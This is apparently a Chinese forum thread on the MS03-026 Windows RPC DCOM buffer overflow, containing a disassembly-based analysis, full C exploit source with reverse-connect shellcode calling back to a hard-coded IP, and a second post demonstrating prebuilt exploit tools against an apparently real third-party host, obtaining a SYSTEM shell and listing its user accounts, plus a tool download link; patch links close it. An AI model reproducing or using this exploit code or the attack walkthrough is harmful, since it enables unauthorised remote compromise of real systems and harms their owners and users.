LSD RPC 溢出漏洞之分析

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作者：FLASHSKY 3 J$ C* i; R' `: m作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM 邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com $ E7 {' m$ M' ~$ s+ m4 L感谢BENJURRY做测试，翻译和代码的通用化处理。 邮件：benjurry@xfocus.org + M' ?: L! O. nLSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 % ^& k& v, q4 |$ _7 R' k导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); . c3 J6 D% M5 Z! N# I/ F这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： ' J" R5 j) _) j$ s [" J8 p问题代码如下： GetPathForServer： 7 t. }" }2 ?6 |7 C7 a.text:761543DA push ebp 5 s7 ^ F& c7 |2 \ E: e% r9 o.text:761543DB mov ebp, esp ' V3 u4 T9 o* h5 Y! s.text:761543DD sub esp, 20h <-----0x20空间 ; f, B1 }5 c9 L: R) o1 `.text:761543E0 mov eax, [ebp+arg_4] 4 ~" d9 g, y A7 F' b# ^" C.text:761543E3 push ebx 9 f! G* U1 z9 q4 L$ L5 \/ t' _) T.text:761543E4 push esi .text:761543E5 mov esi, [ebp+hMem] : e) q. }1 q- W2 g$ i4 W.text:761543E8 push edi ) ]! k2 l3 ^% T4 V% u% K/ Z.text:761543E9 push 5Ch .text:761543EB pop ebx .text:761543EC mov [eax], esi .text:761543EE cmp [esi], bx # H- \: u# @$ S9 a2 l6 @8 x: F.text:761543F1 mov edi, esi .text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF 7 w# R& D3 E( m( O3 E.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 , H& ~* d! k; E; w.text:76154406 push 0 3 D& t) }# R2 f4 {) P7 o$ k.text:76154408 push eax 0 L0 x* M3 m j7 v.text:76154409 push esi 〈----------------------我们传入的文件名参数 .text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 4 S& H9 `0 k; r7 {; ^ Y6 A & k; ?" g0 I4 I& S% O% EGetMachineName: : w0 H, ?9 Z; S; t# j5 k5 _2 r.text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] 8 ~8 X7 i3 L2 F1 i4 T6 ^.text:7614DB75 lea edx, [eax+4] .text:7614DB78 mov ax, [eax+4] 9 Q5 H' B% v9 ~$ n3 m; {& r r.text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C 7 q5 h/ k/ e1 J3 k: m: N. }' Q.text:7614DB80 jz short loc_7614DB93 / g. v, q( C0 G% E.text:7614DB82 sub edx, ecx .text:7614DB84 .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j & w1 ?; g' k$ {.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 * R1 e' m8 a' _.text:7614DB87 inc ecx .text:7614DB88 inc ecx .text:7614DB89 mov ax, [ecx+edx] ' p0 l9 ]1 m4 s% d.text:7614DB8D cmp ax, 5Ch .text:7614DB91 jnz short loc_7614DB84 ! o# ]. y" Y( Y6 s8 |: h' L, |.text:7614DB93 0 m1 n( m) [' U' q' G OK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 ; L @- M6 h- \/ }2 [4 A) u r2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 2 G/ \ U0 `! m4 a; a C计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 1 Y: t8 Y$ [! |6 d. f. H5 w4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 ! S# r4 Z/ E& A1 W3 J5 `' ]5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 #include #include ' g& p& A) _5 O# q#include - z& a5 e2 e9 u" P& c4 X#include l5 r6 _2 o4 ]# T#include ! r% V/ b2 h5 |1 e9 b#include * P; l1 \" G" e: x9 s 9 K7 l& ?9 L: Y1 x8 H9 Dunsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, " ]4 q# n3 L( E0 w& t* L6 A0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, , G5 ]9 P8 k! W4 u5 [' y! Y6 n0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, # i6 F6 q, n8 o& X4 X- e0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; , }: A$ B2 L- E) n5 ? unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 : d; _, ]- Y3 e; c,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ' ?2 i8 g( Z% }# M" }/ C' x6 [7 {0 H" O,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ' T3 s- Y5 X, T7 d- B,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E 0 _2 E, J1 n: X5 \,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ) E2 @) h# c7 K0 f8 N! E9 T0 T$ O,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 : h/ W z0 ^. A$ _ F: `% S,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 " @! |5 o; o- x3 \/ g" ]9 b% [,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 & Z) d: ] Y, A,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 2 |0 p, u& j9 V8 g3 i+ X,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 8 H$ `1 L8 Z( c' u9 `,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 2 X* F( ~/ |! g5 K- Z6 E4 I,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 " M7 `+ C8 ~! f* @) g,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 1 g: D# C6 q0 U" H& u# I+ t$ u,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 # I0 [* _; W' j,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ) \- k/ e! U# h. ]) s& e" O,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 " z; ^1 y Q& k7 y9 }* _3 `,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ) o6 M+ A- P2 P5 ],0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - n) N" }5 ?& {. n3 v) u, [: s,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 9 C1 M( Z1 q+ w9 [0 T" d,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ' t0 d) a8 t4 Z0 L8 O, J,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 $ U) H7 w' U# y6 Y. ?,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 7 y2 J' y \. J) i/ Q% o1 p' B( H* ]& X2 {,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 2 A, }7 P' O8 w; J( e* Y, b,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 % {5 ]+ E0 S; i; z,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 9 t$ r, b' J+ s7 l,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 1 x+ T/ p8 ~8 n5 h% p: I0 f3 O,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 , c/ B- t6 n# S! a1 Y4 ]# Q9 J,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 . E; ]; G( ~4 M K. ^,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 2 }! O* J! \2 N! h1 X! d,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; 9 f3 i- p. b+ T' eunsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 : v3 j V# v% ]1 C( S,0x00,0x00,0x5C,0x00,0x5C,0x00}; unsigned char request3[]={ 0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 4 C3 m0 `- o) D8 },0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 8 ?0 p8 ]8 N+ `: x& T,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; . O* H" W, C7 V/ g+ U! k N/ E ( [- p U1 |- K9 aunsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" + E0 j6 d ~/ ]"\x46\x00\x58\x00" "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 "\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 ) N- q, J7 \' T! s//SHELLCODE不存在0X00，0X00与0X5C "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" ; l3 }6 _- y" {; L5 B+ ^9 d"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" "\x93\x40\xe2\xfa" // code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" + V6 K$ @5 {0 N) E7 j5 q+ w4 d H"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" c8 B% }' \" H+ z2 i! i3 u"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" " d5 w, z# J: l6 r"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" 9 _/ D' K5 \ Y, M5 u- j5 U, x"\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" 4 Z6 Q8 j: C* X/ C1 Q* G. L0 I# |"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" 8 z' ?; C" u( Y4 s"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" 7 g7 m4 U$ h2 k) D1 i: M8 \1 t"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" 5 V3 ^' W# \4 T$ G% r& i4 X"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" # d7 I& Z) D& Z* J" ], f"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" ! v3 r T) I0 t" U% d$ H1 ~"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" & J F# e# G; Y; U3 c1 m- D- E"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" ( l- }( B4 i: M7 w i; u4 ?"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char request4[]={ 8 ~9 j; ^+ q( S" Y2 n; d0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C 3 l: Z& y. W0 ]3 o4 x1 a9 d4 |,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; : C. Y- n. J8 M! x: w & j. h0 k( z! M% @. c/ j+ {void main(int argc,char ** argv) ( e k/ I9 D0 C1 n{ WSADATA WSAData; SOCKET sock; int len,len1; . |+ g' t& R- ?* z! t& ]SOCKADDR_IN addr_in; ; m) c3 |' r/ {short port=135; ! b3 x- {# x, p5 L( @$ } @' eunsigned char buf1[0x1000]; # i- }% X: Q% h5 Z& zunsigned char buf2[0x1000]; unsigned short port1; DWORD cb; if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) ! g6 i- j2 M- q; ]) a& I* C2 `{ printf("WSAStartup error.Error:%d\n",WSAGetLastError()); % u0 A; w& F$ p# \- G# Preturn; " L9 A# u8 ?# [} N* W1 Z1 s6 Z. I9 T [ 5 S% L+ `" Z4 v' ^/ ~1 d. h2 g: v. Qaddr_in.sin_family=AF_INET; 8 R7 w2 f' D7 T8 ?) p, Y5 F. c" x' \addr_in.sin_port=htons(port); , T& S: U% X& v4 ~/ x" Haddr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); # y: _' `1 B# `2 _* A$ U/ _ 0 J3 ]+ b0 L6 G# mif ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:%d\n",WSAGetLastError()); + a/ w# m: {; Ereturn; } 2 q! G( U/ s$ Q& aif(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); 0 C# n2 ?4 W7 j7 i _# A7 zreturn; ' L/ Y8 H: v( A! o8 F! I} 7 \2 a( y; [- d3 f, I; c5 Sport1 = htons (2300); //反向连接的端口 : ~2 u) s! S: ^8 S! [: r4 D7 Dport1 ^= 0x9393; cb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， 8 I3 k+ |8 G9 m! |+ |, S0 Z$ Qcb ^= 0x93939393; *(unsigned short *)&sc[330+0x30] = port1; # o% Q% B( d$ U/ Y `1 a$ Y*(unsigned int *)&sc[335+0x30] = cb; len=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); " B, b' t+ R! s' f' j5 s5 w& N8 jlen1=sizeof(request1); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 3 z& A C3 b, K*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 ) q1 [+ m! T5 |+ tmemcpy(buf2+len1,request2,sizeof(request2)); . @. k& P" o* @len1=len1+sizeof(request2); " r5 M$ a8 b; D! C" H( m- smemcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); * K! Y( G: L; E% }memcpy(buf2+len1,request4,sizeof(request4)); len1=len1+sizeof(request4); : R$ m* B; @ Y3 ]/ |, e*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; //计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; 3 v {( h7 [, h% l! i2 D' D*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; 0 w6 B- U* |4 M _5 D! ?*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; : S7 j6 [# j! V. r1 r*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; D' u1 ^0 E. ]5 A2 p5 t3 T: A5 o*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; ( ]7 X/ C! _4 G4 B% J*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { * Q6 c9 J! z* ^- M9 D4 n. c' Bprintf("Send failed.Error:%d\n",WSAGetLastError()); return; } ' }/ C+ q$ n9 ~6 Z3 B* c . } P B4 t/ Z' Y7 s$ [len=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); , J# x+ ~% F" ]7 S* Breturn; } - m7 O( U# F' _5 G6 rlen=recv(sock,buf1,1024,NULL); 9 f1 F" T- e/ a" z' w+ w- ]6 I} # G6 r ~9 }" M" @, m. [ + e8 Z d5 B& V, h补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 补记： 由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 ' F l4 z# G1 n$ g5 s( _5 Kchdcom针对以下版本: 7 Z7 J* U1 V- W0 P$ V% \- 0 Windows xp SP1 (cn) - u9 Z5 ?6 P, e% H3 T- 1 Windows 2000 SP3 (cn) - 2 Windows 2000 SP4 (cn) - 3 Windows 2000 SP3 (english) 5 Q* @" s; Y6 B2 g- H- 4 Windows 2000 SP4 (english) : \' U1 m7 H9 u8 T# O# L5 F" a1 m- 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) 0 F' f7 C. u, u" w+ X- zUsage: chdcom cedcom针对以下版本: P# a% X7 d% g; J- 0 Windows 2000 SP0 (english) 3 X7 h; M6 Y- V1 L r- 1 Windows 2000 SP1 (english) ' g7 T' L/ N# _$ A6 V9 m, x- 2 Windows 2000 SP2 (english) 5 l7 F/ w# ?; c) \9 j" N$ S- 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) # |: R6 i2 N9 K) oUsage: endcom 3 p, |$ d. x) \( T/ lcygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. & ^( I3 U* D8 x/ o9 U+ m3 M我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， d1 x: `1 O5 @7 S3 r ! V" c; r# Y( X比如说目标69.X.173.63开了135端口.Target ID是4 5 M& ]. N1 X7 B8 GC:\dcom>chdcom 4 69.X.173.63 * V" j1 r& R/ z1 R7 [--------------------------------------------------------- 0 F# h: l) a2 f, N1 c$ P# e- Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry - Rewritten by HDM last # u, [+ O1 _2 C) w% e. T- last by nic % V' Q5 S% V- w* R! V* B2 K-Compiled and recorrected by pingker! - Using return address of 0x77f92a9b - Dropping to System Shell... ' m/ Q! g' B. g n2 ?Microsoft Windows 2000 [Version 5.00.2195] ! Z7 ^+ A# S$ ~: ^( ]" c, W d(C) Copyright 1985-2000 Microsoft Corp. : X" I7 M$ b6 W3 v C:\WINNT\system32> 成功溢出. C:\WINNT\system32>net user 9 k$ \! u: O( `: Inet user , _& a k; I) E . R! C+ T+ p7 x, d, }) XUser accounts for \ ---------------------------------------------------------------------------- % R+ D6 d/ x4 u5 ~( p& ^--- : N) }! f0 h- N9 l7 mAdministrator ASPNET billbishopcom divyanshu ebuyjunction edynamic1 edynamic2 Guest infinityaspnet $ P( a: w# F9 w0 k/ r& ginfinityinformations IUSR_DIALTONE IUSR_NS1 IWAM_DIALTONE IWAM_NS1 SQLDebugger " ^9 L5 K! N* p o2 z2 z4 B3 yTsInternetUser WO - {8 l1 ^! e$ J1 ^; I" u- O8 Q$ @The command completed with one or more errors. 这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 重启才行. CN可以是繁体或简体中文颁本. 再次警告:不要对付国内主机!!!!!后果自负!!!! - {# p) l1 h) ]5 e! X* ~XDcom.rar远程溢出攻击程序下载: http://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
Windows NT 4.0 Server ：
' X0 M( P. l  |, X
http://microsoft.com/downloads/d ... &displaylang=en
, b4 w3 q+ b- U3 j6 v& p* `
Windows NT 4.0 Terminal Server Edition：

0 }6 y; b: x( ~. |4 k/ shttp://microsoft.com/downloads/d ... &displaylang=en

Windows 2000：

% e/ J4 d& P& K1 k$ \6 H  uhttp://microsoft.com/downloads/d ... &displaylang=en
